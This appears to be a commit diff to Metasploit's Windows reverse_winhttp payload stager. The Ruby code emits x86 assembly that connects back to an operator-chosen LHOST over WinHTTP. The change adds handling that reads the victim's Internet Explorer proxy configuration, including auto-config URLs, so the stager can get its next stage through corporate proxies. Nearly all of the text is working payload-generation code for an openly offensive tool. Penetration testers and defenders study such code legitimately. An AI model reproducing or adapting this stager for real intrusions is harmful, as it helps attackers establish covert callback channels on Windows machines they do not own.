1
1
# -*- coding: binary -*-
2
2
3
3
require 'msf/core'
4
- require 'msf/core/payload/transport_config'
5
- require 'msf/core/payload/windows/block_api'
6
- require 'msf/core/payload/windows/exitfunk'
7
4
require 'msf/core/payload/windows/reverse_http'
8
5
9
6
module Msf
@@ -16,23 +13,31 @@ module Msf
16
13
17
14
module Payload ::Windows ::ReverseWinHttp
18
15
19
- include Msf ::Payload ::TransportConfig
20
16
include Msf ::Payload ::Windows ::ReverseHttp
21
17
18
+ #
19
+ # Register reverse_winhttp specific options
20
+ #
21
+ def initialize ( *args )
22
+ super
23
+ register_advanced_options ( [
24
+ OptBool . new ( 'PayloadProxyIE' , [ false , 'Enable use of IE proxy settings' , true ] )
25
+ ] , self . class )
26
+ end
27
+
22
28
#
23
29
# Generate the first stage
24
30
#
25
31
def generate ( opts = { } )
26
32
conf = {
27
33
ssl : opts [ :ssl ] || false ,
28
- host : datastore [ 'LHOST' ] ,
29
- port : datastore [ 'LPORT' ] ,
30
- retry_count : datastore [ 'StagerRetryCount' ]
34
+ host : datastore [ 'LHOST' ] || '127.127.127.127' ,
35
+ port : datastore [ 'LPORT' ]
31
36
}
32
37
33
38
# Add extra options if we have enough space
34
39
unless self . available_space . nil? || required_space > self . available_space
35
- conf [ :url ] = generate_uri
40
+ conf [ :uri ] = generate_uri
36
41
conf [ :exitfunk ] = datastore [ 'EXITFUNC' ]
37
42
conf [ :verify_cert_hash ] = opts [ :verify_cert_hash ]
38
43
conf [ :proxy_host ] = datastore [ 'PayloadProxyHost' ]
@@ -41,9 +46,10 @@ def generate(opts={})
41
46
conf [ :proxy_pass ] = datastore [ 'PayloadProxyPass' ]
42
47
conf [ :proxy_type ] = datastore [ 'PayloadProxyType' ]
43
48
conf [ :retry_count ] = datastore [ 'StagerRetryCount' ]
49
+ conf [ :proxy_ie ] = datastore [ 'PayloadProxyIE' ]
44
50
else
45
51
# Otherwise default to small URIs
46
- conf [ :url ] = generate_small_uri
52
+ conf [ :uri ] = generate_small_uri
47
53
end
48
54
49
55
generate_reverse_winhttp ( conf )
@@ -107,7 +113,7 @@ def asm_generate_wchar_array(str)
107
113
# Generate an assembly stub with the configured feature set and options.
108
114
#
109
115
# @option opts [Bool] :ssl Whether or not to enable SSL
110
- # @option opts [String] :url The URI to request during staging
116
+ # @option opts [String] :uri The URI to request during staging
111
117
# @option opts [String] :host The host to connect to
112
118
# @option opts [Fixnum] :port The port to connect to
113
119
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
@@ -119,9 +125,22 @@ def asm_reverse_winhttp(opts={})
119
125
retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
120
126
verify_ssl = nil
121
127
encoded_cert_hash = nil
122
- encoded_url = asm_generate_wchar_array ( opts [ :url ] )
128
+ encoded_uri = asm_generate_wchar_array ( opts [ :uri ] )
123
129
encoded_host = asm_generate_wchar_array ( opts [ :host ] )
124
130
131
+ # this is used by the IE proxy functionality when an autoconfiguration URL
132
+ # is specified. We need the full URL otherwise the call to resolve the proxy
133
+ # for the URL doesn't work.
134
+ full_url = 'http'
135
+ full_url << 's' if opts [ :ssl ]
136
+ full_url << '://' << opts [ :host ]
137
+ full_url << ":#{ opts [ :port ] } " if opts [ :ssl ] && opts [ :port ] != 443
138
+ full_url << ":#{ opts [ :port ] } " if !opts [ :ssl ] && opts [ :port ] != 80
139
+ full_url << opts [ :uri ]
140
+
141
+ encoded_full_url = asm_generate_wchar_array ( full_url )
142
+ encoded_uri_index = full_url . rindex ( '/' ) * 2
143
+
125
144
if opts [ :ssl ] && opts [ :verify_cert_hash ]
126
145
verify_ssl = true
127
146
encoded_cert_hash = opts [ :verify_cert_hash ] . unpack ( "C*" ) . map { |c | "0x%.2x" % c } . join ( "," )
@@ -166,6 +185,14 @@ def asm_reverse_winhttp(opts={})
166
185
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
167
186
end
168
187
188
+ ie_proxy_autodect = (
189
+ 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP
190
+ 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A
191
+
192
+ ie_proxy_flags = (
193
+ 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT
194
+ 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL
195
+
169
196
asm = %Q^
170
197
; Input: EBP must be the address of 'api_call'.
171
198
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@@ -220,14 +247,34 @@ def asm_reverse_winhttp(opts={})
220
247
^
221
248
end
222
249
250
+ if opts [ :proxy_ie ] == true && !proxy_enabled
251
+ asm << %Q^
252
+ push eax ; Session handle is required later for ie proxy
253
+ ^
254
+ end
255
+
223
256
asm << %Q^
224
257
WinHttpConnect:
225
258
push ebx ; Reserved (NULL)
226
259
push #{ opts [ :port ] } ; Port [3]
227
260
call got_server_uri ; Double call to get pointer for both server_uri and
228
261
server_uri: ; server_host; server_uri is saved in edi for later
229
- db #{ encoded_url }
262
+ ^
263
+
264
+ if opts [ :proxy_ie ] == true && !proxy_enabled
265
+ asm << %Q^
266
+ db #{ encoded_full_url }
267
+ got_server_host:
268
+ add edi, #{ encoded_uri_index } ; move edi up to where the URI starts
269
+ ^
270
+ else
271
+ asm << %Q^
272
+ db #{ encoded_uri }
230
273
got_server_host:
274
+ ^
275
+ end
276
+
277
+ asm << %Q^
231
278
push eax ; Session handle returned by WinHttpOpen
232
279
push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpConnect' ) }
233
280
call ebp
@@ -277,6 +324,86 @@ def asm_reverse_winhttp(opts={})
277
324
push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSetCredentials' ) }
278
325
call ebp
279
326
^
327
+ elsif opts [ :proxy_ie ] == true
328
+ asm << %Q^
329
+ ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is
330
+ ; a 16-byte structure
331
+ sub esp, 16
332
+ mov eax, esp ; store a pointer to the buffer
333
+ push edi ; store the current URL in case it's needed
334
+ mov edi, eax ; put the buffer pointer in edi
335
+ push edi ; Push a pointer to the buffer
336
+ push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpGetIEProxyConfigForCurrentUser' ) }
337
+ call ebp
338
+
339
+ test eax, eax ; skip the rest of the proxy stuff if the call failed
340
+ jz ie_proxy_setup_finish
341
+
342
+ ; we don't care about the "auto detect" flag, as it doesn't seem to
343
+ ; impact us at all.
344
+
345
+ ; if auto detect isn't on, check if there's an auto configuration URL
346
+ mov eax, [edi+4]
347
+ test eax, eax
348
+ jz ie_proxy_manual
349
+
350
+ ; restore the URL we need to reference
351
+ pop edx
352
+ sub edx, #{ encoded_uri_index } ; move edx up to where the full URL starts
353
+
354
+ ; set up the autoproxy structure on the stack
355
+ push 1 ; fAutoLogonIfChallenged (1=TRUE)
356
+ push ebx ; dwReserved (0)
357
+ push ebx ; lpReserved (NULL)
358
+ push eax ; lpszAutoConfigUrl
359
+ push #{ ie_proxy_autodect } ; dwAutoDetectFlags
360
+ push #{ ie_proxy_flags } ; dwFlags
361
+ mov eax, esp
362
+
363
+ ; prepare space for the resulting proxy info structure
364
+ sub esp, 12
365
+ mov edi, esp ; store the proxy pointer
366
+
367
+ ; prepare the WinHttpGetProxyForUrl call
368
+ push edi ; pProxyInfo
369
+ push eax ; pAutoProxyOptions
370
+ push edx ; lpcwszUrl
371
+ lea eax, [esp+64] ; Find the pointer to the hSession - HACK!
372
+ push [eax] ; hSession
373
+ push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpGetProxyForUrl' ) }
374
+ call ebp
375
+
376
+ test eax, eax ; skip the rest of the proxy stuff if the call failed
377
+ jz ie_proxy_setup_finish
378
+ jmp set_ie_proxy ; edi points to the filled out proxy structure
379
+
380
+ ie_proxy_manual:
381
+ ; check to see if a manual proxy is specified, if not, we skip
382
+ mov eax, [edi+8]
383
+ test eax, eax
384
+ jz ie_proxy_setup_finish
385
+
386
+ ; manual proxy present, set up the proxy info structure by patching the
387
+ ; existing current user IE structure that is in edi
388
+ push 4
389
+ pop eax
390
+ add edi, eax ; skip over the fAutoDetect flag
391
+ dec eax
392
+ mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)
393
+
394
+ ; fallthrough to set the ie proxy
395
+
396
+ set_ie_proxy:
397
+ ; we assume that edi is going to point to the proxy options
398
+ push 12 ; dwBufferLength (sizeof proxy options)
399
+ push edi ; lpBuffer (pointer to the proxy)
400
+ push 38 ; dwOption (WINHTTP_OPTION_PROXY)
401
+ push esi ; hRequest
402
+ push #{ Rex ::Text . block_api_hash ( 'winhttp.dll' , 'WinHttpSetOption' ) }
403
+ call ebp
404
+
405
+ ie_proxy_setup_finish:
406
+ ^
280
407
end
281
408
282
409
if opts [ :ssl ]
0 commit comments